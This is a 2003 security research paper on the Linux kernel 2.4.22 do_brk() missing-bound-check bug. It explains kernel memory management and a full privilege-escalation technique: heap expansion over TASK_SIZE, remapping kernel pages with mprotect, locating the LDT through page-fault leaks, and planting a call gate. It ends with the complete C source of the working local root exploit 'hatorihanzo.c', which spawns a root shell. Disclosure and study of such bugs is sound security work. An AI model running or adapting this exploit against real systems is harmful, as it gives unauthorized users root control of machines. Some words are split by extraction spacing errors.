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I. Abstract 
 
A criti cal security bug has been found in the Linux kernel 2.4.22 (and earlier) memory management 
subsystem. This bug has been silently fixed for the 2.4.23 as well as in the 2.6.0-test6 release 
without any notice to the open source community. It is unclear whether the kernel developers 
believed that the bug was not exploitable or they were afraid of releasing another security advisory 
in their beloved software... 
 
While performing a regular audit of the Linux kernel we have found the same bug at the end of 
September 2003 and quickly realized its serious impact on the kernel security.  Shortly after we 
were ready with a simple proof-of-concept exploit code. 
 
The following paper presents the technical details of the do_brk() bug found and the results of our 
research done while writing the exploit code. It also describes the numerous techniques we have 
used to create a very effective exploit code that leads to privilege escalation even on systems 
running a kernel secured with various security patches. 
 
 

II. Linux memory management 
 
The physical memory of a x86 machine running one of the recent Linux kernels is managed in a 
simpli fied flat virtual memory model. This means that each user process may address its virtual 
memory ranging from 0 up to 4GB on 32-bit architectures which is usually much more than the real 
physical memory installed. 
 
Virtual memory is a linear address space divided into 4kB size pages. These pages are mapped into 
the physical memory pages using appropriate page table on a per process basis. The process's page 
table contain additional attributes for each mapped page including the page protection attributes. 
 
The virtual memory of a process is divided into two regions. TASK_SIZE is a kernel constant that 
defines the upper limit of the accessible memory for the code working at the lowest privilege level. 
Its value is usually set to 0xc0000000 on systems with less than 1GB of physical memory (all 
examples included in this article refer to this value). The memory above this limit contains the 
kernel code with its data structures and is not directly accessible to the user due to the page 
protection mechanism. It can be accessed only by privileged (kernel) code. 
 
The user accessible memory region below the TASK_SIZE limit i s furthermore divided into 
multiple logical sections. Each section is described by its virtual address range and protection 
attributes. Each section performs a different purpose. The section named .text contains the 
executable code of the binary loaded, the .data section contains the readable and writable data and 
.rodata contains the read-only data and so on. 
 
A typical memory layout of an user process may look like: 
 
bash$ cat /proc/self/maps 
08048000-0804c000 r-xp 00000000 03:02 207935     /bin/cat 
0804c000-0804d000 rw-p 00003000 03:02 207935     /bin/cat 
0804d000-0804e000 rwxp 00000000 00:00 0 
40000000-40015000 r-xp 00000000 03:02 213752     /lib/ld-2.3.2.so 
40015000-40016000 rw-p 00014000 03:02 213752     /lib/ld-2.3.2.so 
40016000-40017000 rw-p 00000000 00:00 0 



40020000-40021000 rw-p 00000000 00:00 0 
42000000-4212f000 r-xp 00000000 03:02 319985     /lib/tls/libc-2.3.2.so 
4212f000-42132000 rw-p 0012f000 03:02 319985     /lib/tls/libc-2.3.2.so 
42132000-42134000 rw-p 00000000 00:00 0 
bfffc000-c0000000 rwxp ffffd000 00:00 0 

 
The memory sections are also known in the Linux kernel as the virtual memory areas (VMAs). 
 
The kernel keeps tracks and manages a list of all virtual memory areas for each process in order to 
provide proper memory management (swapping, demand loading and protection fault handling). 
Each virtual memory area is described by vm_area_struct as defined in <linux/mm.h>. Most 
important members of this structure are: 
 
struct vm_area_struct { 
 unsigned long vm_start; 
 unsigned long vm_end; 
 pgprot_t vm_page_prot; 
 /* ... */ 
} 

 
The virtual memory areas of a process are linked in the memory descriptor structure (mm_struct) 
which is referenced inside the process’s descriptor (task_struct) by the mm member variable with 
roughly following structure: 
 
struct mm_struct { 
 struct vm_area_struct * mmap;  /* list of VMAs */ 
 /* ... */ 
 int map_count;    /* number of VMAs */ 
 /* ... */ 
 unsigned long start_brk, brk, start_stack; 
 /* ... */ 
} 

 
More details of Linux memory management are out of the scope of this article and can be found in 
[3]. 
 
 

III. The bug 
 
The do_brk() is an internal kernel function which is called indirectly to manage process' s memory 
heap (brk) growing or shrinking it accordingly. The user may manipulate his heap with the brk(2) 
system call which calls do_brk() internally. The do_brk() code is a simpli fied version of the 
mmap(2) system call and only handles anonymous mappings for uninitialized data. 
 
The do_brk() function lacks of any bound check of its parameter and may be exploited to create an 
arbitrary large virtual memory area exceeding the user accessible memory limit . 
 
Under normal circumstances the heap is a part of the process' s virtual memory space and spans 
some kilos to megabytes of memory below the mentioned TASK_SIZE limit . It is usually used for 
keeping dynamically allocated data mostly through the malloc() library call . The missing bound 
check inside the do_brk() kernel function enables the expansion of the heap area above the 
TASK_SIZE limit . Thus the kernel memory management subsystem can be tricked into believing 
that the protected kernel memory belongs to the user process' s heap. This trick doesn' t provide 
direct access to the kernel memory yet because the kernel pages are protected by the MMU unit of 



the CPU. However it is now possible to use other system calls to operate on the oversized VMA to 
disturb the protection of kernel pages. 
 
 

IV. Exploitation 
 
1) Attack vectors 
 
The faulty do_brk() function is called inside the ELF and a.out binary format loaders as well as 
from the corresponding uselib() binary format handlers. Together with the sys_brk() call these are 
the three different vectors which may be used to exploit the do_brk() bug. For the purpose of this 
article we are going to focus on the sys_brk() system call only. 
 
 
2) Heap expansion 
 
The heap may be expanded only if there is no other mapping in the requested address range. The 
regular process's stack is usually placed at the top of the process’s memory right below the 
TASK_SIZE address, therefore it must be moved somewhere else before the exploitation can take 
place at all . Another step is to ensure that the heap is also the last section in the process’s memory 
layout. 
  
Now we may use the brk(2) system call to expand the heap to span the kernel memory. This must 
be done by calli ng brk multiple times, each time expanding the heap by a relative small amount of 
bytes. This is because we need to bypass a kernel limit  on the virtual memory that may be mapped 
at once using do_brk() function. 
 
After these three steps our heap may look like: 
 
080a5000-fffff000 rwxp 00000000 00:00 0 

 
Unfortunately if our process is now terminated (exited or kill ed) in this state all VMA regions 
belonging to the process are cleaned, the memory pages unmapped and released to the kernel 
memory management. Thus parts of kernel memory may become inaccessible for all kernel control 
paths leading to system instabilit y or immediate reboot. 
 
 
3) Kernel memory protection 
 
After expanding the heap region the pages above the 0xc0000000 boundary still cannot be directly 
accessed by the user process because all kernel memory pages are marked with the supervisor bit. 
This unprivileged access to the pages is still prevented by the hardware MMU unit. The indirect 
access through ptrace(2) system call however could now be possible but we decided not to use this 
mechanism that is disabled on many or if not most Linux systems. 
 
Therefore the kernel pages must be unprotected before accessing them. We need to make the kernel 
pages user readable and writable. Fortunately after short research we have discovered that the 
mprotect(2) system call works perfectly for kernel pages if the right VMA is present in the 
process’s memory descriptor. And so we are able to selectively change protection of almost any 
page in the kernel. 



 
However on x86 like processors with a page size extensions (PSE) enabled the kernel code page 
size is equal to 4MB for performance reasons. The mprotect(2) system call doesn't handle such a 
big pages at all causing immediate crash. It may only be used on pages of 4kB size. Such pages are 
used by the kernel memory kmalloc() and vmalloc() allocators. The vmalloc() function is used i.e. 
to allocate memory for kernel modules. 
 
With all the above information we are able to write anything to kmalloc'ed or vmalloc'ed kernel 
memory. Two main questions arise: what to write and where to write it to? 
 
 
4) Kernel structures 
 
We can use the kernel memory allocator to allocate some data structure that stay in the kernel 
memory for a while. We must find such a structure that would allow an easy privilege escalation 
after we modify its content.  
 
The process's local descriptor table (LDT) holds an array of segment descriptors each of them 
describing segment limits and access privileges. This array is allocated through the vmalloc() 
allocator for each process that writes LDT entries using the modify_ldt(2) system call . The LDT 
stays in memory as long as the process is not terminated. The kernel provides limited abilit y to 
write entries into the LDT array. It protects against a misuse of LDT to prevent user process from 
gaining so called ring0 privileges. Thus if we were able to write into LDT array any arbitrary LDT 
entry we could escalate our privileges easily. 
 
The Kernel memory layout varies from system to system. It depends on the kernel configuration as 
well as the compiler and the compilation options used. Address values returned by memory 
allocators are mostly unpredictable. So far this seems to be the hardest part of the exploit. 
 
Our goal is of course not to guess anything. We want to find a way to determine the exact address 
of the mapped LDT array in the kernel memory. This part took most of time spent coding the 
exploit... and so we came over the Linux signal handling code. 
 
If a signal is delivered to a process with a custom signal handler installed the signal handling 
routine receives information about the signal they caught, li ke the sender of the signal and the 
reason why the signal has been sent. The SIGSEGV signal is sent each time an user process tries to 
read or write to memory that is inaccessible from within process’s context. Each page fault is 
handled by the do_page_fault() kernel function. One of its arguments is an error_code that is 
provided by the CPU. This argument describes the exact reason of the page fault and is necessary to 
handle the page fault properly li ke loading the faulty page on demand, performing a copy-on-write 
or killi ng the process with the SIGSEGV signal in case of an invalid memory reference. 
 
In the case of the SIGSEGV signal the kernel's do_page_fault() routine leaks its error_code value 
(un)intentionally to the signal handler. There are two error_code values that we are interested in: 
 

• a page fault occurred because the page was not mapped into memory 
• a page fault occurred because the page protection doesn’ t allow to access it 

 
Thus the error_code value is suitable to determine whether an address above the TASK_SIZE limit 
has an underlying page mapped into the kernel address space despite the fact that the page is not 
directly accessible to the user! This condition may be checked for each page above the 



TASK_SIZE limit using for example the verr assembler instruction creating an exact map of the 
kernel memory. More details about the Intel instruction set can be found in [1]. 
 
If we create two maps of the kernel memory, the first before allocating and the second after 
allocating the kernel memory for the LDT array we can easily compare these maps and the result 
would be the exact address of the allocated kernel structure. 
 
 
5) Privilege escalation 
 
After finding our LDT array in kernel memory we can create there a call gate descriptor which 
enables privilege level transition from the user to the kernel privilege level.  
 
An i386 call gate contains a code segment selector and an entry point to the gate code as well as 
descriptor privilege level. The code segment selector decides about the privilege level at which the 
code executed by the call gate is being run. On the other hand the descriptor privilege level decides 
about the necessary privilege level of calli ng code. 
 
Call gates work in a similar way the int $0x80 system call mechanism works which switches a 
regular process into kernel mode. The main difference to the system call i nterrupt is that with an 
user-space writable LDT we can just store there the address of an arbitrary routine that would be 
called at CPL0 privilege level. Details about the Intel privilege levels can be found in [2]. 
 
We decided to setup a call gate in the LDT with descriptor privilege level of 3 and the code 
segment equal to KERNEL_CS (which is the kernel code descriptor for CPL0) pointing back into 
the process’s address space below TASK_SIZE thus allowing an user mode task to directly call it s 
own code at CPL0. To perform this task an assembler trampoline code has been created which 
basically computes the pointer to the current process and calls a high-level C function which 
contains the  actual exploit code 
 
While running at the most privileged CPL0 level is possible to change any kernel structure. 
Changing process' s credentials is a quite easy task. The only thing we have to do is to find 
task_struct somewhere within kernel memory and then change its UIDs, GIDs and capabilit y set. 
See <linux/sched.h> in kernel sources for detailed description of task_struct. However for the sake 
of simplicity only the EUID and EGID of the proccess must be changed if we execute another 
binary right after gaining EUID=0 because the execve() system call will reenable full process’s 
capabiliti es if called with EUID=0. 
 
 
6) Cleanup problem 
 
After the privilege escalation into the CPL0 execution ring takes place a clean up code must be run 
in order to prevent the system from crashing and to allow the process to terminate cleanly. Our idea 
is just to scan the kernel memory in a heuristc way for vm_area_struct structures that were 
expanded over TASK_SIZE limits. All those structures are changed to hold range up to 
TASK_SIZE and are suff icient to leave the system in a stable state. 
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VII. Exploit code 
 
 
/*  
 * hatorihanzo.c  
 * Linux kernel do_brk vma overflow exploit.  
 *  
 * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>  
 *  
 * Further research and exploit development by  
 * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.  
 *  
 * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.  
 *  
 * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE  
 * OF PRESENTED CODE IS STRICTLY PROHIBITED.  
 */  
 
#define _GNU_SOURCE  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <signal.h>  
#include <paths.h>  
#include <grp.h>  
#include <setjmp.h>  
#include <stdint.h>  
#include <sys/mman.h>  
#include <sys/ipc.h>  
#include <sys/shm.h>  
#include <sys/ucontext.h>  
#include <sys/wait.h>  
#include <asm/ldt.h>  
#include <asm/page.h>  
#include <asm/segment.h>  
#include <linux/unistd.h>  
#include <linux/linkage.h>  
 
#define kB  * 1024  
#define MB  * 1024 kB  
#defin e GB * 1024 MB  
 
#define MAGIC   0xdefaced /* I should've patented this number - cliph */  
 
#define ENTRY_MAGIC  0 
#define ENTRY_GATE  2 
#define ENTRY_CS  4 
#define ENTRY_DS  6 
 
#define CS   ((ENTRY_CS << 2) | 4)  
#define DS   ((ENTRY_DS << 2) | 4)  
#define GATE   ((E NTRY_GATE << 2) | 4 | 3)  
 
#define LDT_PAGES  ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE - 1) / PAGE_SIZE)  
 
#define TOP_ADDR  0xFFFFE000U 
 
/* configuration */  
unsigned  task_size;  
unsigned  page;  
uid_t   uid;  
unsigned  address;  
 
int dontexit = 0;  



 
void fatal(char * msg) 
{ 
 fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno)); 
 if (dontexit) { 
  fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n"); 
  kill(getpid(), SIGSTOP); 
  for (;;) pause(); 
 } 
 exit(EXIT_FAILURE); 
} 
 
void configure(void) 
{ 
 unsigned val; 
 task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB; 
 uid = getuid(); 
} 
 
void expand(void) 
{ 
 unsigned top = (unsigned) sbrk(0); 
 unsigned limit = address + PAGE_SIZE; 
 
 do { 
  if (sbrk(PAGE_SIZE) == NULL) 
   fatal("Kernel seems not to be vulnerable"); 
  dontexit = 1; 
  top += PAGE_SIZE; 
 } while (top < limit); 
} 
 
jmp_buf jmp; 
 
#define MAP_NOPAGE 1 
#define MAP_ISPAGE 2 
 
void sigsegv(int signo, siginfo_t * si, void * ptr) 
{ 
 struct ucontext * uc = (struct ucontext *) ptr; 
 int error_code = uc->uc_mcontext.gregs[REG_ERR]; 
 (void)signo; 
 (void)si; 
 error_code = MAP_NOPAGE + (error_code & 1); 
 longjmp(jmp, error_code); 
} 
 
 
void prepare(void) 
{ 
 struct sigaction sa; 
 sa.sa_sigaction = sigsegv; 
 sa.sa_flags = SA_SIGINFO | SA_NOMASK; 
 sigemptyset(&sa.sa_mask); 
 sigaction(SIGSEGV, &sa, NULL); 
} 
  
int testaddr(unsigned addr) 
{ 
 int val; 
 
 val = setjmp(jmp); 
 if (val == 0) { 
  asm ("verr (%%eax)" : : "a" (addr)); 
  return MAP_ISPAGE; 
 } 
 return val; 
} 
 
#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE) 



#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned)) 
#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0) 
 
void map(unsigned * map) 
{ 
 unsigned addr = task_size; 
 unsigned bit = 1; 
 
 prepare(); 
  
 while (addr < TOP_ADDR) { 
  if (testaddr(addr) == MAP_ISPAGE) 
   *map |= bit; 
  addr += PAGE_SIZE; 
  next(map, bit); 
 } 
 
 signal(SIGSEGV, SIG_DFL); 
} 
 
void find(unsigned * m) 
{ 
 unsigned addr = task_size; 
 unsigned bit = 1; 
 unsigned count; 
 unsigned tmp; 
 
 prepare(); 
 
 tmp = address = count = 0U; 
 while (addr < TOP_ADDR) { 
  int val = testaddr(addr); 
  if (val == MAP_ISPAGE && (*m & bit) == 0) { 
   if (!tmp) tmp = addr; 
   count++; 
  } else { 
   if (tmp && count == LDT_PAGES) { 
    errno = EAGAIN; 
    if (address) 
     fatal("double allocation\n"); 
    address = tmp; 
   } 
   tmp = count = 0U; 
  } 
  addr += PAGE_SIZE; 
  next(m, bit); 
 } 
 
 signal(SIGSEGV, SIG_DFL); 
 
 if (address) 
  return; 
 
 errno = ENOTSUP; 
 fatal("Unable to determine kernel address"); 
} 
 
int modify_ldt(int, void *, unsigned); 
 
void ldt(unsigned * m) 
{ 
 struct modify_ldt_ldt_s l; 
  
 map(m); 
 
 memset(&l, 0, sizeof(l)); 
 l.entry_number = LDT_ENTRIES - 1; 
 l.seg_32bit = 1; 
 l.base_addr = MAGIC >> 16; 
 l.limit = MAGIC & 0xffff; 



 
 if (modify_ldt(1, &l, sizeof(l)) == -1) 
  fatal("Unable to set up LDT"); 
  
 l.entry_number = ENTRY_MAGIC / 2; 
  
 if (modify_ldt(1, &l, sizeof(l)) == -1) 
  fatal("Unable to set up LDT"); 
  
 find(m); 
} 
 
asmlinkage void kernel(unsigned * task) 
{ 
 unsigned * addr = task; 
 
 /* looking for uids */ 
 while (addr[0] != uid || addr[1] != uid ||  
        addr[2] != uid || addr[3] != uid) 
  addr++; 
  
 addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */ 
 addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */ 
 addr[8] = 0; 
 
 /* looking for vma */ 
 for (addr = (unsigned *) task_size; addr; addr++) { 
  if (addr[0] >= task_size && addr[1] < task_size && 
      addr[2] == address && addr[3] >= task_size) { 
   addr[2] = task_size - PAGE_SIZE; 
   addr = (unsigned *) addr[3]; 
   addr[1] = task_size - PAGE_SIZE; 
   addr[2] = task_size; 
   break; 
  } 
 } 
} 
 
void kcode(void); 
 
#define __str(s) #s 
#define str(s) __str(s) 
 
void __kcode(void) 
{ 
 asm( 
  "kcode:     \n" 
  " pusha     \n" 
  " pushl %es    \n" 
  " pushl %ds    \n" 
  " movl $(" str(DS) ") ,%edx \n" 
  " movl %edx,%es   \n" 
  " movl %edx,%ds   \n" 
  " movl $0xffffe000,%eax  \n" 
  " andl %esp,%eax   \n" 
  " pushl %eax    \n" 
  " call kernel    \n" 
  " addl $4, %esp   \n" 
  " popl %ds    \n" 
  " popl %es    \n" 
  " popa     \n" 
  " lret     \n" 
 ); 
} 
 
void knockout(void) 
{ 
 unsigned * addr = (unsigned *) address; 
 
 if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) 



  fatal("Unable to change page protection"); 
  
 errno = ESRCH; 
 if (addr[ENTRY_MAGIC] != MAGIC) 
  fatal("Invalid LDT entry"); 
 
 /* setting call gate and privileged descriptors */ 
 addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU); 
 addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; 
 addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */ 
 addr[ENTRY_CS+1] = 0x00cf9a00U; 
 addr[ENTRY_DS+0] = 0x0000ffffU; /* user   4GB code at 0x00000000 */ 
 addr[ENTRY_DS+1] = 0x00cf9200U; 
  
 prepare(); 
 if (setjmp(jmp) != 0) { 
  errno = ENOEXEC; 
  fatal("Unable to jump to call gate"); 
 } 
 asm("lcall $" str(GATE) ",$0x0"); /* this is it */ 
} 
 
void shell(void) 
{ 
 char * argv[] = { _PATH_BSHELL, NULL }; 
  
 execve(_PATH_BSHELL, argv, environ); 
 fatal("Unable to spawn shell\n"); 
} 
 
void remap(void) 
{ 
 static char stack[8 MB]; /* new stack */ 
 static char * envp[] = { "PATH=" _PATH_STDPATH, NULL }; 
 static unsigned * m; 
 static unsigned b; 
 
 m = (unsigned *) sbrk(map_size); 
 if (!m) 
  fatal("Unable to allocate memory"); 
 
 environ = envp; 
 asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack))); 
 
 b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK; 
  
 if (munmap((void*)b, task_size - b) == -1) 
  fatal("Unable to unmap stack"); 
 
 while (b < task_size) { 
  if (sbrk(PAGE_SIZE) == NULL) 
   fatal("Unable to expand BSS"); 
  b += PAGE_SIZE; 
 } 
 
 ldt(m); 
 expand(); 
 knockout(); 
 shell(); 
} 
 
int main(void) 
{ 
 configure(); 
 remap(); 
 return EXIT_FAILURE; 
} 
 
 


